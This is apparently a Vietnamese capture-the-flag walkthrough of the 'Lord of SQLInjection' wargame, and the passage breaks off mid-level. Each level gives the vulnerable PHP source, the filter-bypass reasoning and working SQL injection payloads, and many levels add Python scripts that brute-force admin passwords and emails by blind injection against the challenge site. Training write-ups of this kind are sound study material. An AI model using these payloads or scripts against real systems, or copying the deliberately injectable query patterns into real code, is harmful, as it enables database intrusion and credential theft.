# LOS - LORD OF SQLINJECTION ## gremlin Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database! if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("gremlin"); highlight_file(__FILE__); ?> ``` Bài nhận vào 2 tham số `id` và `pw` qua method GET. Do không có filter gì đặc biệt nên chỉ cần dùng payload đơn giản: `?id=1' or 1=1;-- -&pw=1` ## cobolt Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("cobolt"); elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; highlight_file(__FILE__); ?> ``` Bài nhận vào 2 tham số `id` và `pw` từ method GET. Khác với bài trước thì `pw` được bỏ vào `md5()` nghĩa là phần này không inject được. Bài cũng kiểm tra `$result['id'] == 'admin'`. Khi `id=1' or 1=1;-- -` thì kết quả trả về là hàng đâu tiên không phải admin, vậy chỉ cần dùng `limit` để lấy hàng khác và kết quả là hàng thứ 2: `?id=0' or 1=1 limit 1,1;-- -&pw=abc` ## goblin Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("goblin"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `no` qua method GET. Bài này truy vấn với `id='guest'` nhưng kết quả phải là `$result['id'] == 'admin'`. Cũng như bài trước, dùng limit để lấy hàng của admin và nó cũng ở hàng thứ 2: `no=1 or 1=1 limit 1,1;` ## orc Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello admin</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc"); highlight_file(__FILE__); ?> ``` Bài này nhận vào tham số `pw`. Để giải bài này thì `pw` nhập vào phải giống với `pw` của kết quả: `$result['pw'] == $_GET['pw']`. Vậy cần brute-force `pw`. Khi có kết quả trả về thì xuất hiện `Hello admin` và nếu sai có thì không xuất hiện. Ví dụ: - `?pw=' or 1=1;-- -'` => xuất hiện `Hello admin` - `?pw=' or 1=2;-- -'` => không xuất hiện Bây giờ chỉ việc brute-force bằng `SUBSTR()` và dùng `ASCII()` để chuyển ký tự qua dạng số trong bảng mã ASCII. ``` import requests url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php' cookies= { "PHPSESSID":"5vf14lhbo6crtdjs9ajc93421e" } pw='' for i in range(1,9): for j in range(48,123): payload="?pw=' or ASCII(SUBSTR(pw,{},1))={};-- -".format(i,j) r=requests.get(url=url+payload, cookies=cookies) if "Hello admin" in r.text: pw+=chr(j) print(pw) break ``` Việc mình vòng for đầu là `range(1,9)` do mình biết trước độ dài pw là 8 (sử dụng `length()` để check) hoặc cũng có thể chọn số lớn hơn để khỏi check. Kết quả : `pw=095a9852` ## wolfman Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~"); $query = "select id from prob_wolfman where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("wolfman"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw`, đồng thời bị filter khoảng trắng: `if(preg_match('/ /i', $_GET[pw])) exit("No whitespace ~_~");` Để bypass khoảng trắng có thể dùng comment: `/**/`. `?pw=1'or/**/1=1/**/limit/**/1,1;%23`. (`%23` là `#` , kết hợp thêm `limit` để lấy `admin`). ## darkelf Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_darkelf where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("darkelf"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw`, đồng thời bị filter `or` và `and`: `if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); `. Bypass bằng cách sử dụng `||` hay `or` hoặc `&&` thay `and`. Thêm `limit` để lấy đúng kết quả `admin`: `?pw=1'||1=1 limit 1,1;-- -` ## orge Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw` và nó bị đưa qua `addslashes($_GET[pw]);` đây là hàm sẽ thêm `\` vào trước các ký tự như `'`, `"`, `\`, `null`. Nếu `pw` bằng với pw ủa admin thì solve. Như bài trước thì sử dụng `||` thay `or`. Thử với payload `1'|| 1=1;-- -` thì trả về `Hello guest` và nếu pw của admin thì nó sẽ trả về `Hello admin`. Dựa vào đó ta có thể brute-force. Mình dùng `ASCII` để đưa nó về dạng số trong mã ASCII: ``` import requests url = 'https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php' cookies= { "PHPSESSID":"83qeim1d0pae8n37hquqkmegft" } pw='' for i in range(1,9): for j in range(32,129): payload="?pw=1'||ASCII(substr(pw,{},1))={};-- -".format(i,j) r=requests.get(url=url+payload, cookies=cookies) if "Hello admin" in r.text: pw+=chr(j) break print("pw: "+pw+chr(j)) print("complete, pw= "+pw) ``` Kết quả: `pw=7b751aec` ## troll Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match("/admin/", $_GET[id])) exit("HeHe"); $query = "select id from prob_troll where id='{$_GET[id]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("troll"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `id` nếu nó bằng với `admin` thì solve. Tham số `id` bị filter `'` và `admin`. Nó được kẹp bởi `''` trong câu truy vấn nên cũng không dùng được với nhày kép `"`. Xem lại thì `preg_match("/admin/", $_GET[id])` regex này không có flag `i` (case-insensitive) nghĩa là nó đang phân biệt chữ hoa chữa thường, để bypass cái nyà => `id=Admin` ## vampire Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/\'/i', $_GET[id])) exit("No Hack ~_~"); $_GET[id] = strtolower($_GET[id]); $_GET[id] = str_replace("admin","",$_GET[id]); $query = "select id from prob_vampire where id='{$_GET[id]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("vampire"); highlight_file(__FILE__); ?> ``` Giống bài trước nhưng không thể làm vậy vì nó bị biến thành chữ thường qua hàm `strtolower($_GET[id])` đồng thời dùng hàm `str_replace("admin","",$_GET[id])` để xóa `admin`. Bản chất của `str_replace` là xử lý 1 lần mà không còn kiểm tra kết quả, vì vậy để bypass cái này => `id=adadminmin` ## skeleton Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_skeleton where id='guest' and pw='{$_GET[pw]}' and 1=0"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id'] == 'admin') solve("skeleton"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw`, nhìn vào câu truy vấn có `and 1=0` nghĩa là nó không có kết quả trả về rồi. Do không bị filter `'` ta inject vào `1'or 1=1;-- -` để câu truy vấn luôn đúng. Nhưng để solve bài này thì kết quả trả về phải là admin, như những bài trước ta dùng thêm `limit`. Payload: `pw=1' or 1=1 limit 1,1;-- -` ## golem Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); highlight_file(__FILE__); ?> ``` Cũng tương tự mấy bài trước, bài này ta brute-force pw của admin. Tuy nhiên, dấu `=` bị filter ta thay bằng `like`, thay `substr` bới `substring`, thay `or` bởi `||` Solve: ``` import requests url = 'https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php' cookies= { "PHPSESSID":"83qeim1d0pae8n37hquqkmegft" } pw='' for i in range(1,9): for j in range(32,127): payload="?pw=1'|| ASCII(substring(pw,{},1)) like {};-- -".format(i,j) r=requests.get(url=url+payload, cookies=cookies) if "Hello admin" in r.text: pw+=chr(j) break print("pw: "+pw+chr(j)) print("complete, pw= "+pw) ``` Kết quả: `pw=77d6290b` ## darkknight Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe"); $query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); highlight_file(__FILE__); ?> ``` Bài này nhận vào tham số `pw` và `no`, nếu nó đúng với pw của admin thì solve. Như các bài trước thì bài này cũng brute-force. Ta dùng `mid` để thay `substr`, dùng `ord` thay thế `ascii`, dấu `=` thay bằng `like`. Solve: ``` import requests url = 'https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php' cookies= { "PHPSESSID":"83qeim1d0pae8n37hquqkmegft" } pw='' for i in range(1,9): for j in range(48,123): payload="?no=0||id like \"admin\" %26%26 ord(mid(pw,{},1)) like {};#".format(i,j) r=requests.get(url=url+payload, cookies=cookies) print("pw: "+pw) if "Hello admin" in r.text: pw+=chr(j) break print("complete, pw= "+pw) ``` Kết quả: `pw=0b70ea1f` ## bugbear Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); highlight_file(__FILE__); ?> ``` Giống bài trên nhưng nó thêm filter `like`, space ` ` và cả `ord`. Ta sẽ dùng `hex` thay `ord` còn về việc so sánh các ký tự. Về việc so sánh ta dùng `in`. Ví dụ: id like "admin" => id `in ("admin")` Cuối cùng là space (` `) ta có thể dùng nhiều dấu ngoặc lồng nhau hoặc dùng `%09` (tab). Solve: ``` import requests url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php' cookies= { "PHPSESSID":"83qeim1d0pae8n37hquqkmegft" } pw='' for i in range(1,9): for j in range(48,127): payload='?no=1||id%09in%09("admin")%26%26hex(mid(pw,{},1))%09in%09(hex("{}"))'.format(i,chr(j)) r=requests.get(url=url+payload, cookies=cookies) print("pw: "+pw) if "Hello admin" in r.text: pw+=chr(j) break print("complete, pw= "+pw) ``` Kết quả: `pw=52dc3991` ## giant Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(strlen($_GET[shit])>1) exit("No Hack ~_~"); if(preg_match('/ |\n|\r|\t/i', $_GET[shit])) exit("HeHe"); $query = "select 1234 from{$_GET[shit]}prob_giant where 1"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result[1234]) solve("giant"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `shit` . Theo câu truy vấn để có kết quả trả về thì `shit` phải là cái gì đó để phân cách nhưng nó lại bị filter: `preg_match('/ |\n|\r|\t/i', $_GET[shit])` (trong URL encode là %20, %09, %0a, %0d) và đồng thời độ dài không được lớn hơn 1: `strlen($_GET[shit])>1`. Solve: còn ký tự chưa bị filter là `%0b`(vertical tab) hoặc `%0c` ## assassin Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_assassin where pw like '{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("assassin"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw` và so sánh nó vơi pw của admin qua `like` và bị filter `'`. Nhìn có vẻ đơn giản nhưng có 1 vấn đề ở đây. Đó là mình không lấy được `pw` của admin mà chỉ của guest. Nếu kết quả đúng thì pw của guest xếp trên admin nghĩa là truy vấn lấy 1 kết quả đầu tiên của guest chứ không match được với admin. Nếu bài cố tính như vậy dễ dàng đoán được pw của guest và admin trùng nhau 1 phần. Đây là script của mình: ``` import requests import string LETTERS=string.ascii_letters+string.digits url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php' cookies= { "PHPSESSID":"83qeim1d0pae8n37hquqkmegft" } pw='' for i in range(1,9): for i in LETTERS[::-1]: payload="?pw={}%".format(pw+i) r=requests.get(url=url+payload, cookies=cookies) # print(payload) print("pw= "+pw+i) if "Hello admin" in r.text: pw+=i break if "Hello guest" in r.text: pw+=i break print("complete, pw= "+pw) ``` Mình đã dùng `[::-1]` để đảo ngược chuỗi vì nếu không làm thế sẽ bị match trước với guest thay vì admin. Kết quả: `pw=902EFD10` (có vẻ pw không phân biệt chữ hoa chữ thường). ## succubus Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/\'/',$_GET[id])) exit("HeHe"); if(preg_match('/\'/',$_GET[pw])) exit("HeHe"); $query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("succubus"); highlight_file(__FILE__); ?> ``` Bài nhận vào 2 tham số `id` và `pw`, bị filter dầu `'` và bài solve khi có kết quả trả về. Ta sử dụng `\` để biến `'` như string và inject vào điều kiện đúng. payload: `?id=\&pw= or id="admin"%23` khi đó query: `select id from prob_succubus where id='\' and pw=' or id="admin"#'` ## zombie_assassin Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); $_GET['id'] = strrev(addslashes($_GET['id'])); $_GET['pw'] = strrev(addslashes($_GET['pw'])); if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("zombie_assassin"); highlight_file(__FILE__); ?> ``` Bài này có thêm `addslashes()` và xử lý qua `strrev()` để đảo ngược chuỗi. Ta dùng payload: `id="&pw=- --;1=1 ||`. Khi đó truy vấn là: ` select id from prob_zombie_assassin where id='"\' and pw='|| 1=1;-- -'` Vậy là `\` biến `'` thành string. ## nightmare Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)|#|-/i', $_GET[pw])) exit("No Hack ~_~"); if(strlen($_GET[pw])>6) exit("No Hack ~_~"); $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) solve("nightmare"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw` với độ dài không được lớn hơn 6 ký tự và bị filter `#` và `-`. Trong câu truy vấn, pw được nằm trong `('pw')`. Vì `('')` là một chuỗi rỗng và giá trị trả về là 0, nên nó trở thành đúng với bằng 0. Vậy payload: `')=0;%00`. `%00` dùng để loại bỏ phía sau. ## xavis Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw` bị filter `like`, `regex`. Cũng như mấy bìa trước thì bài này phải brute-force pw của admin. Bài này có vẻ đơn giản nhưng không `pw` lại là korean, :( `pw=우왕굳` ## dragon Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; if($result['id'] == 'admin') solve("dragon"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `pw` và câu truy vấn: `select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'` Nếu kết quả trả về là admin thì solve nhưng trong câu truy cấn có `#` nghĩa là comment hết đoạn phía sau. Vậy ta nghĩ đến việc xuống dòng vì `#` chỉ commen được 1 dòng. Payload:`pw=%0a and 1=0|| id='admin ## iron_golem Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit(mysqli_error($db)); echo "<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem"); highlight_file(__FILE__); ?> ``` Bài này nhận vào tham số `pw` và nếu `pw` là pw của admin thì solve. `sleep` và `benchmark` bị filter, vậy là không dùng được dạng time based. Để ý dòng: `if(mysqli_error($db)) exit(mysqli_error($db));` Vậy dựa vào error trả về để ta brute-force `pw`. Ví dụ với: `pw=1' and (select 0 union select 1=1);%23` thì kết quả trả về là `Subquery returns more than 1 row` trong khi `pw=1' and (select 0 union select 1=0);%23` lại không có gì. Solve: ``` import requests import string LETTERS=string.digits+string.ascii_letters url = 'https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php' cookies= { "PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2" } length=0 # brute-force lenght(pw) for i in range (1,50): payload="?pw=1' or id='admin' and (select 0 union select length(pw)={});%23".format(i) r=requests.get(url=url+payload, cookies=cookies) if "Subquery returns more than 1 row" in r.text: length=i print("length of pw: {}".format(length)) break # brute-force pw pw='' for i in range(1,length+1): for j in LETTERS: payload="?pw=1' or id='admin' and (select 0 union select ascii(substring(pw,{},1))={});%23".format(i,ord(j)) r=requests.get(url=url+payload, cookies=cookies) print("pw= "+pw+j) if "Subquery returns more than 1 row" in r.text: pw+=j break print("complete, pw= "+pw) ``` Kết quả: `pw06b5a6c16e8830475f983cc3a825ee9a` ## dark_eyes Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe"); $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(mysqli_error($db)) exit(); echo "<hr>query : <strong>{$query}</strong><hr><br>"; $_GET[pw] = addslashes($_GET[pw]); $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes"); highlight_file(__FILE__); ?> ``` Tương tự bài trên nhưng khác response Solve: ``` import requests import string LETTERS=string.digits+string.ascii_letters url = 'https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php' cookies= { "PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2" } length=0 # brute-force lenght(pw) for i in range (1,50): payload="?pw=1' or id='admin' and (select 0 union select length(pw)={});%23".format(i) r=requests.get(url=url+payload, cookies=cookies) if "query" not in r.text: length=i print("length of pw: {}".format(length)) break # brute-force pw pw='' for i in range(1,length+1): for j in LETTERS: payload="?pw=1' or id='admin' and (select 0 union select ascii(substring(pw,{},1))={});%23".format(i,ord(j)) r=requests.get(url=url+payload, cookies=cookies) print("pw= "+pw+j) if "query" not in r.text: pw+=j break print("complete, pw= "+pw) ``` Kết quả: `pw=5a2f5d3c` ## hell_fire Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|proc|union/i', $_GET[order])) exit("No Hack ~_~"); $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}"; echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>"; $rows = mysqli_query($db,$query); while(($result = mysqli_fetch_array($rows))){ if($result['id'] == "admin") $result['email'] = "**************"; echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>"; } echo "</table><hr>query : <strong>{$query}</strong><hr>"; $_GET[email] = addslashes($_GET[email]); $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire"); highlight_file(__FILE__); ?> ``` Bài nhận vào tham số `oder`- nơi để inject và từ đó brute-force để lấy `email` của admin. Bài này không thể dùng `union` vì bị filter. `order` dùng để sắp xếp, nhận thấy: nếu `order=id` thì `admin` xếp trên còn `order=score` thì `admin` xếp dưới. Ta dùng `if(condition,score,999)`: nếu condition đúng thì `admin` xếp trên còn sai thì xếp dưới. Solve: ``` import requests import string LETTERS=string.digits+string.ascii_letters+'@_.' url = 'https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php' cookies= { "PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2" } length=0 # brute-force lenght(email) for i in range (1,50): payload="?order=if((id='admin' and length(email)={}),score,9999)".format(i) r=requests.get(url=url+payload, cookies=cookies) if "<tr><th>id</th><th>email</th><th>score</th><tr><td>rubiya" in r.text: length=i print("length of email: {}".format(length)) break # brute-force pw email='' for i in range(1,length+1): for j in LETTERS: payload="?order=if((id='admin' and ascii(substring(email,{},1))={}),score,9999)".format(i,ord(j)) r=requests.get(url=url+payload, cookies=cookies) print("email= "+email+j) if "<tr><th>id</th><th>email</th><th>score</th><tr><td>rubiya" in r.text: email+=j break print("complete, email= "+email) ``` Kết quả: `email=admin_secure_email@emai1.com` ## evil_wizard Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~"); $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really? echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>"; $rows = mysqli_query($db,$query); while(($result = mysqli_fetch_array($rows))){ if($result['id'] == "admin") $result['email'] = "**************"; echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>"; } echo "</table><hr>query : <strong>{$query}</strong><hr>"; $_GET[email] = addslashes($_GET[email]); $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'"; $result = @mysqli_fetch_array(mysqli_query($db,$query)); if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard"); highlight_file(__FILE__); ?> ``` Bài này tương tự bài trên nhưng không thể dựa vào sắp xếp được nữa. Dùng time based cũng bị filter luôn. Thay vào đó ta sử dụng 1 để có kết quả và 0 thì không có kết quả hiển thị. Solve: ``` import requests import string LETTERS=string.digits+string.ascii_letters+'@_.' url = 'https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php' cookies= { "PHPSESSID":"tacpsf7m0d1vljqep5s9bu6tg2" } length=0 # brute-force lenght(email) for i in range (1,50): payload="?order=if(id='admin' and LENGTH(email)={},0,1)".format(i) r=requests.get(url=url+payload, cookies=cookies) if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin" in r.text: length=i print("length of email: {}".format(length)) break # brute-force pw email='' for i in range(1,length+1): for j in LETTERS: payload="?order=if(id='admin' and ascii(substring(email,{},1))={},0,1)".format(i,ord(j)) r=requests.get(url=url+payload, cookies=cookies) print("email= "+email+j) if "<tr><th>id</th><th>email</th><th>score</th><tr><td>admin" in r.text: email+=j break print("complete, email= "+email) ``` Kết quả: `email=aasup3r_secure_email@emai1.com` ## green_dragon Source: ``` <?php include "./config.php"; login_chk(); $db = dbconnect(); if(preg_match('/prob|_|\.|\'|\"/i', $_GET[id])) exit("No Hack ~_~"); if(preg_match('/prob|_|\.|\'|\"/i', $_GET[pw])) exit("No Hack ~_~"); $query = "select id,pw from prob_green_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; echo "<hr>query : <strong>{$query}</strong><hr><br>"; 